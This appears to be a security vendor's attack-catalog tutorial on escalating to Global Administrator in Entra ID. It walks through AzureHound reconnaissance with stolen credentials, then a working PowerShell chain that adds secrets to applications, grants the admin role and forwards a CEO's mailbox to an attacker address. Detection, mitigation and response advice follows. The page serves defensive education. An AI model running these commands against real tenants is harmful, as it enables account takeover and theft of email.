1. Home
  2. Resources
  3. Attack Catalog
  4. Abusing Entra ID Application Permissions

Abusing Entra ID Application Permissions

Entra ID
Applications
Permissions

In Entra ID, applications and service principals help services connect and access resources securely. An application is registered in Entra ID and defines what it can do, while the service principal is like the app’s account in a specific directory. This account determines what the app can access and how it can interact with other services. Permissions are assigned to these apps so they can either act on behalf of users or work independently to perform tasks.

Abuse happens when these apps are given too many permissions or are misused. Adversaries can take control of an app or trick users into granting access to a malicious app, allowing them to steal sensitive data or perform harmful actions, like changing system settings. Since many apps can operate without user interaction, it’s easy for attackers to move undetected, making it important to regularly review and limit what apps are allowed to do.

Threat Summary
Target:
Entra ID (formerly Azure AD)
Tools:
Bloodhound, AzureHound, ROADTools, AADInternals
ATT&CK® Tactic:
Persistence, Privilege Escalation
ATT&CK Technique:
Value
Difficulty
Detection:
Low
Mitigation:
Medium
Response:
Medium

Attack Tutorial: How Abusing Entra ID Application Permissions Works

STEP 1

Perform Reconnaissance to identify attack paths

First, the adversary performs reconnaissance to identify potential paths for elevation. To do this adversaries may use tools like ROADRecon and AzureHound to get an easy to use and complete picture of elevation opportunities across on-premise and Entra ID environments.

In this scenario, the adversary has used AzureHound to collect data from the victims Entra ID environment and analyses it in BloodHound to find that Hattie owns a test application that was granted the application.readwrite.all. This permission further grants Hattie the ability to take over other applications by adding new secrets to the application and impersonating it.

# Run AzureHound.exe with HATTIE_BIRDs stolen credentials.

.\azurehound.exe -u "HATTIE_BIRD@stealthbitslab.onmicrosoft.com" -p "Passw0rd123!" list --tenant "stealthbitslab.onmicrosoft.com" --output SBLabData.json

# Upload azData.json to BloodHound #


Output


STEP 2

Escalates Privileges

With knowledge of the available escalation paths from Hattie, the adversary now proceeds to escalate their permissions. Depending on the type of edges discovered this may result in many different actions being required and could range from disruptive actions, such as resetting passwords to non-disruptive actions such as adding members to groups.

In this scenario, the adversary has found a simple path that requires them to add a new authentication material to the HATTIE TEST application, authenticate as HATTIE TEST, add new authentication material to the SAM application, authenticate as the SAM application and then grant themselves the Global Administrator role as SAM

### STEP 1: HATTIE BIRD -> HATTIE TEST ###
# Connect as HATTIE_BIRD
Connect-MGGraph -Scopes User.Read, Application.ReadWrite.All 
# Get the HATTIE Test App
$Me = Invoke-MgGraphRequest -Uri "/v1.0/me"
$ownedApps = Get-MgUserOwnedObject -UserId $Me.id | Where-Object { $_.AdditionalProperties.Values -contains "#microsoft.graph.application" }

# Build PasswordCredential Body for request 
$PasswordDetails = New-Object -TypeName PSObject
$PasswordDetails | Add-Member -MemberType NoteProperty -Name "displayName" -Value "HATTIE Cred"
$PasswordDetails | Add-Member -MemberType NoteProperty -Name "endDateTime" -Value (Get-Date).AddMonths(6).DateTime

$PasswordInfo = New-Object -TypeName PSObject
$passwordInfo | Add-Member -MemberType NoteProperty -Name "PasswordCredential" -Value $PasswordDetails

# Adds new Client Credential to the HATTIE TEST App
$AppPassword = Invoke-MgGraphRequest -Uri "v1.0/myorganization/applications/$($OwnedApps.Id)/addPassword" -Body ($PasswordInfo | ConvertTo-Json) -Method POST
# The Client Secret is stored in $AppPassword.secretText

### STEP 2: HATTIE TEST -> SAM Application ###
# Build Credential Object with AppId & secret generated
[securestring]$HattieTestSecret = ConvertTo-SecureString $AppPassword.SecretText -AsPlainText -Force
[pscredential]$HattieTestClientCredential = New-Object System.Management.Automation.PSCredential ($ownedApps.AdditionalProperties.appId, $HattieTestSecret)
# Use TenantId from Hatties connection in Step 1. Or replace with specific TentantId
$TenantId = (Get-MgContext).TenantId 

# Connect as HATTIE TEST
Connect-MgGraph -TenantId $TenantId -ClientSecretCredential $HattieTestClientCredential

# Get SAM Application
$SAMApp = Get-MgApplication -Filter "displayName eq 'SAM'"
# Add Password Credential to SAM Application
$passwordCred = @{
   displayName = 'Production'
   endDateTime = (Get-Date).AddMonths(6)
}
# ApplicationId is actually ObjectId not ApplicationId
$SAMAppPassword = Add-MgApplicationPassword -ApplicationId $SAMApp.Id -PasswordCredential $PasswordCred

### STEP 3: SAM App -> Elevate Hattie to Global Admin
# Build Credential Object with AppId & secret generated
[securestring]$SAMAppSecret = ConvertTo-SecureString $SAMAppPassword.SecretText -AsPlainText -Force
[pscredential]$SAMClientCredential = New-Object System.Management.Automation.PSCredential ($SAMApp.appId, $SAMAppSecret)

# Use tenant Id from previous connection or replace with specific tenant ID
$TenantId = (Get-MgContext).TenantId 

# Connect as SAM Application
Connect-MgGraph -TenantId $TenantId -ClientSecretCredential $SAMClientCredential

# Grant HATTIE_BIRD@stealthbitslab.com the Global Administrator role
$Hattie = get-mguser -Filter "displayName eq 'HATTIE_BIRD'"
$GARole = Get-MgDirectoryRole -filter "displayName eq 'Global Administrator'"
New-MgDirectoryRoleMemberByRef -DirectoryRoleId $GARole.Id -OdataId "https://graph.microsoft.com/v1.0/directoryObjects/$($Hattie.id)"
STEP 3

Uses privileges to further objectives

Now the adversary has Global Administrator rights they look to further their attack to Business Email Compromise by pivoting to Office 365.

In this example the adversary connects to and sets up a forwarding email on the CEOs account.

# Find the CEO
Get-MgUser -Filter "JobTitle eq 'CEO'" 

DisplayName Id                                   Mail                                     UserPrincipalName
----------- --                                   ----                                     -----------------
Bob Grady   e39b2ade-42c1-4be3-a10a-45b0f91e4e02 BOB_GRADY@stealthbitslab.onmicrosoft.com BOB_GRADY@stealthbitslab.onmicrosoft.com

Connect-ExchangeOnline -UserPrincipalName HATTIE_BIRD@stealthbitslab.onmicrosoft.com

Get-Mailbox BOB_GRADY@stealthbitslab.onmicrosoft.com |
    Set-Mailbox -ForwardingSMTPAddress "Adversary@badbadbad.com" -DeliverToMailboxAndForward $true

Detect, Mitigate and Respond

Detect
Mitigate
Respond
Difficulty: Low

How does one detect this threat?

It is possible to detect Entra ID Application abuse by using the Entra ID Audit Logs. There are many possible logs to analyse for different attack paths but some of the key activities to monitor are below when looking at applications.

The Update application – Certificates and secrets management activity is logged whenever new authentication material, certificates or client secrets, is added to an application. Investigating each occurance to ensure only legitimate additions of authentication material is essential, especially on applications with high levels of privilege.

The Add app role assignment to service principal and Add delegated permission grant activities are for when application and delegated permissions are added to an application. These should be monitored and checked to ensure the correct and least privileged permissions are added.

Difficulty: Medium

What can one do to prevent this threat from occurring?

Entra ID Application abuse risks can be minimised by:

  • Following the Microsoft Entra ID identity management best practices such as, but not limited to, using conditional access and multifactor authentication. Further information can be found here
  • Ensuring members of privileged roles are legitimate and where possible assigned using just-in-time methods such as MS-PIM. Roles that grant specific access to applications include:
    • Global Admins
    • Application Administrator
    • Hybrid Identity Administor
    • Cloud Application Administrator
  • Ensuring application permissions are regularly audited for sensitive API permissions such as, but not limited to:
    • Application.ReadWrite.All
    • Directory.ReadWrite.All
    • AppRoleAssignment.ReadWrite.All
    • RoleManagement.ReadWrite.Directory.
  • Auditing application owners of applications with sensitive permissions and reduce where possible.
  • Using built-in security configuration options:
    • Configuring user consent options and permission classifications allows administrators to specify what their "low" permissions are and only allow users to consent to applications that use those permissions
    • Configuring app consent policies ensures that applications meet certain criteria before they can access data within your organization
    • Use the admin consent workflow to ensure that applications are reviewed before being allowed.
Difficulty: Medium

What can one do to contain, eradicate, and recover from an occurrence?

If application abuse is detected defenders can:

  • Activate the incident response process and alert response team.
  • Quarantine any implicated computers for forensic investigation, eradication and recovery activities.
  • Mark the account that added the credential to the application as confirmed compromised.
  • Remove any added credentials or permissions from the application to prevent further use.
Detect
Difficulty: Low

How does one detect this threat?

It is possible to detect Entra ID Application abuse by using the Entra ID Audit Logs. There are many possible logs to analyse for different attack paths but some of the key activities to monitor are below when looking at applications.

The Update application – Certificates and secrets management activity is logged whenever new authentication material, certificates or client secrets, is added to an application. Investigating each occurance to ensure only legitimate additions of authentication material is essential, especially on applications with high levels of privilege.

The Add app role assignment to service principal and Add delegated permission grant activities are for when application and delegated permissions are added to an application. These should be monitored and checked to ensure the correct and least privileged permissions are added.

Mitigate
Difficulty: Medium

What can one do to prevent this threat from occurring?

Entra ID Application abuse risks can be minimised by:

  • Following the Microsoft Entra ID identity management best practices such as, but not limited to, using conditional access and multifactor authentication. Further information can be found here
  • Ensuring members of privileged roles are legitimate and where possible assigned using just-in-time methods such as MS-PIM. Roles that grant specific access to applications include:
    • Global Admins
    • Application Administrator
    • Hybrid Identity Administor
    • Cloud Application Administrator
  • Ensuring application permissions are regularly audited for sensitive API permissions such as, but not limited to:
    • Application.ReadWrite.All
    • Directory.ReadWrite.All
    • AppRoleAssignment.ReadWrite.All
    • RoleManagement.ReadWrite.Directory.
  • Auditing application owners of applications with sensitive permissions and reduce where possible.
  • Using built-in security configuration options:
    • Configuring user consent options and permission classifications allows administrators to specify what their "low" permissions are and only allow users to consent to applications that use those permissions
    • Configuring app consent policies ensures that applications meet certain criteria before they can access data within your organization
    • Use the admin consent workflow to ensure that applications are reviewed before being allowed.
Respond
Difficulty: Medium

What can one do to contain, eradicate, and recover from an occurrence?

If application abuse is detected defenders can:

  • Activate the incident response process and alert response team.
  • Quarantine any implicated computers for forensic investigation, eradication and recovery activities.
  • Mark the account that added the credential to the application as confirmed compromised.
  • Remove any added credentials or permissions from the application to prevent further use.
RELATED READING
Azure AD privilege escalation
Azure Privilege Escalation via Azure API Permissions Abuse
Fire Image Featured Solutions

Netwrix Enterprise Auditor for AD

Netwrix Auditor for Entra ID

Netwrix Threat Manager

Netwrix PingCastle

Netwrix AD Security Solutions

OTHER ATTACKS
DCSync Attack
Kerberoasting Attack
Zerologon Exploit Attack

MITRE ATT&CK® and ATT&CK® are registered trademarks of The MITRE Corporation.